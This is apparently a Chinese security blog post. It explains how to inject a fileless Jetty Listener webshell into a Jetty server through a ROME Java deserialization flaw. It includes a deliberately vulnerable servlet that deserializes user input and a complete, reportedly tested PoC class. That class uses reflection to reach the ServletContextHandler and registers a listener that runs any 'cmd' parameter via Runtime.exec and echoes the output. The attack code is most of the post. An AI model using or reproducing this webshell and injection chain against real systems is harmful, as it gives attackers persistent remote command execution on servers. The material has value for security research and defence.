前言
本文介绍的是 Jetty Listener 回显内存马的实现思路和细节以及反序列化漏洞的注入。所给出的 PoC 代码已通过反序列化注入的方式测试成功。
环境
引入依赖以及环境如下:
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>jettytest8</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>jar</packaging>
<name>jettytest8</name>
<url>http://maven.apache.org</url>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-server</artifactId>
<version>9.4.51.v20230217</version>
</dependency>
<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-servlet</artifactId>
<version>9.4.51.v20230217</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.7.36</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-slf4j-impl</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>8</source>
<target>8</target>
</configuration>
</plugin>
</plugins>
</build>
</project>
例子以 rome 的反序列化漏洞为例进行内存马的注入(与 log4j2 漏洞无关,只是引入了一个比较喜欢的日志和版本类型,jetty 嵌入式的运行需要手动设置日志)。反序列化入口点为:
/**
* @author Shule
* CreateTime: 2023/11/16 23:07
*/
public class IndexServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
PrintWriter writer = resp.getWriter();
writer.println("plz");
writer.flush();
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String payload = req.getParameter("payload");
byte[] decode = Base64.getUrlDecoder().decode(payload);
try (ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(decode))) {
objectInputStream.readObject();
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
PrintWriter writer = resp.getWriter();
writer.println("ok");
writer.flush();
}
}
Listener
我们首先在 listener 中设下断点,进行调试分析
得到的调用栈如下:
requestInitialized:20, MyListener (org.example.listener)
requestInitialized:1393, ContextHandler (org.eclipse.jetty.server.handler)
doHandle:1431, ContextHandler (org.eclipse.jetty.server.handler)
nextScope:188, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:505, ServletHandler (org.eclipse.jetty.servlet)
nextScope:186, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:1355, ContextHandler (org.eclipse.jetty.server.handler)
handle:141, ScopedHandler (org.eclipse.jetty.server.handler)
handle:127, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:516, Server (org.eclipse.jetty.server)
lambda$handle$1:487, HttpChannel (org.eclipse.jetty.server)
dispatch:-1, 1519898089 (org.eclipse.jetty.server.HttpChannel$$Lambda$60)
dispatch:732, HttpChannel (org.eclipse.jetty.server)
handle:479, HttpChannel (org.eclipse.jetty.server)
onFillable:277, HttpConnection (org.eclipse.jetty.server)
succeeded:311, AbstractConnection$ReadCallback (org.eclipse.jetty.io)
fillable:105, FillInterest (org.eclipse.jetty.io)
run:104, ChannelEndPoint$1 (org.eclipse.jetty.io)
runJob:883, QueuedThreadPool (org.eclipse.jetty.util.thread)
run:1034, QueuedThreadPool$Runner (org.eclipse.jetty.util.thread)
run:748, Thread (java.lang)
只往上翻一层,也就是 requestInitialized:1393, ContextHandler (org.eclipse.jetty.server.handler)
,可以看到调用 Listner 对请求进行处理的逻辑
在 ContextHandler
中会遍历 _servletRequestAttributeListeners
和 _servletRequestListeners
数组获得 Listener
从而对请求前进行处理。我们只需要在这两个数组中添加恶意的 listner 即可完成内存马的注入。因为我们要注入的是 ServletRequestListener
因此只需要关注 _servletRequestListeners
即可。
跟 Servlet 有关的 ServletContextHandler
继承了该对象,那么问题就转变成了如何获得 ContextHandler
或 ServletContextHandler
对象。
Request & Response
我们在之前分析 Tomcat Listner 内存马 的时候有过这样的思路:通过 Thread 获得 request 或 response 对象,从而能够获得 ServletContext
。虽然 tomcat 与 jetty 设计有些许不同,但打入内存马如果不能通过 request 和 response 对象获得回显那么意义就不算太大。
借助 java-object-searcher 进行挖掘,在 IndexServlet#doGet 中添加如下代码:
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("ServletHandler").build());
List<Blacklist> blacklists = new ArrayList<>();
blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为30
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("/tmp");
searcher.searchObject();
运行后我们不难发现其中一个有趣的路线:
TargetObject = {java.lang.Thread}
---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap}
---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}
---> [13] = {java.lang.ThreadLocal$ThreadLocalMap$Entry}
---> value = {org.eclipse.jetty.server.HttpConnection}
---> _channel = {org.eclipse.jetty.server.HttpChannelOverHttp}
---> _request = {org.eclipse.jetty.server.Request}
在 org.eclipse.jetty.server.Request
中存在 getServletContext
方法,会返回 _context
而这里的 _context
是 ContextHandler
的一个内部类
我们可以尝试在获得 _context
后通过反射的方法获得外部类,也就是 ContextHandler
。
又注意到 HttpChannelOverHttp
中的 _channel
是 HttpChannelOverHttp
类型,继承了 HttpChannel
,因此也有 Response
对象
这里的 org.eclipse.jetty.server.Response
与 Request
类似,实现了 HttpServletResponse
接口,进而也实现了 ServletResponse
。
我们只需要通过 threadLocals
遍历其中的 threadLocalMap
的 table,获得 HttpConnection
,进而获得 HttpChannelOverHttp
,就可以获得 Request
和 Response
对象。
再通过从 Request
或 Response
拿到 ServletContextHandler
的一个内部类,从这个内部类中获得外部类对象 ServletContextHandler
。从而注入恶意的 Listener
。
至此请求和响应回显以及获得 ServletContextHandler
的问题解决了。
具体实现
事不宜迟,接下来就是编写代码的环节了。我这里直接给出了完整的利用类代码
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.eclipse.jetty.server.HttpChannel;
import org.eclipse.jetty.server.HttpConnection;
import org.eclipse.jetty.server.Request;
import org.eclipse.jetty.servlet.ServletContextHandler;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;
/**
* @author Shule
* CreateTime: 2023/11/18 11:29
*/
public class PoC4Listener extends AbstractTranslet implements ServletRequestListener {
public static ServletResponse response;
static {
try {
Thread thread = Thread.currentThread();
Field threadLocalsField = Thread.class.getDeclaredField("threadLocals");
threadLocalsField.setAccessible(true); // 取消访问权限限制
// 获取 threadLocals 字段的值,即 ThreadLocal.ThreadLocalMap 对象
Object threadLocals = threadLocalsField.get(thread);
Class<?> threadLocalMapClass = threadLocals.getClass();
Field tableField = threadLocalMapClass.getDeclaredField("table");
tableField.setAccessible(true);
// 获取 table 数组
Object[] table = (Object[]) tableField.get(threadLocals);
HttpConnection httpConnection = null;
// 获取 HttpConnection 对象
for (Object entry : table) {
if (entry != null) {
// 获取 entry 中的 value
Field valueField = entry.getClass().getDeclaredField("value");
valueField.setAccessible(true);
Object value = valueField.get(entry);
if (value != null && value.toString().contains("HttpConnection")) {
httpConnection = (HttpConnection) value;
}
}
}
// 通过 HttpConnection 获取 HttpChannelOverHttp 对象
assert httpConnection != null;
Field channelField = httpConnection.getClass().getDeclaredField("_channel");
channelField.setAccessible(true);
HttpChannel httpChannelOverHttp = (HttpChannel) channelField.get(httpConnection);
//Field requestField = httpChannelOverHttp.getClass().getDeclaredField("_request");
// 通过 HttpChannelOverHttp 获取 Request 对象
Field requestField = Class.forName("org.eclipse.jetty.server.HttpChannel").getDeclaredField("_request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(httpChannelOverHttp);
// 通过 HttpChannelOverHttp 获取 Response 对象
Field responseField = Class.forName("org.eclipse.jetty.server.HttpChannel").getDeclaredField("_response");
responseField.setAccessible(true);
response = (ServletResponse) responseField.get(httpChannelOverHttp);
// 通过内部类获得外部类的 ServletContextHandler 对象
ServletContextHandler.Context context = (ServletContextHandler.Context) request.getServletContext();
Class<?> contextClass = context.getClass();
// 获取 InnerClass 类型的字段 "this$0",它引用外部类对象
Field outerField = contextClass.getDeclaredField("this$0");
outerField.setAccessible(true); // 取消访问限制
// 获取外部类对象 ServletContextHandler
ServletContextHandler servletContextHandler = (ServletContextHandler) outerField.get(context);
// 获取 ServletContextHandler 的 _servletRequestListeners 字段
Field _servletRequestListenersField = servletContextHandler.getClass().getSuperclass().getDeclaredField("_servletRequestListeners");
_servletRequestListenersField.setAccessible(true);
List<ServletRequestListener> servletRequestListeners = (List<ServletRequestListener>) _servletRequestListenersField.get(servletContextHandler);
// 加载恶意的 Listener
if (servletRequestListeners != null) {
servletRequestListeners.add(new PoC4Listener());
System.out.println("Listener Ok!");
} else {
List<ServletRequestListener> servletRequestListeners1 = new ArrayList<>();
servletRequestListeners1.add(new PoC4Listener());
_servletRequestListenersField.set(servletContextHandler, servletRequestListeners1);
System.out.println("add a new Listener Ok!");
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
response.setContentType("text/html; charset=UTF-8");
PrintWriter writer = response.getWriter();
Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext() ? scanner.next() : "";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws
TransletException {
}
}
构造 ROME 链,将生成的恶意字节码 Base64 的形式进行发送,注入一次即可成功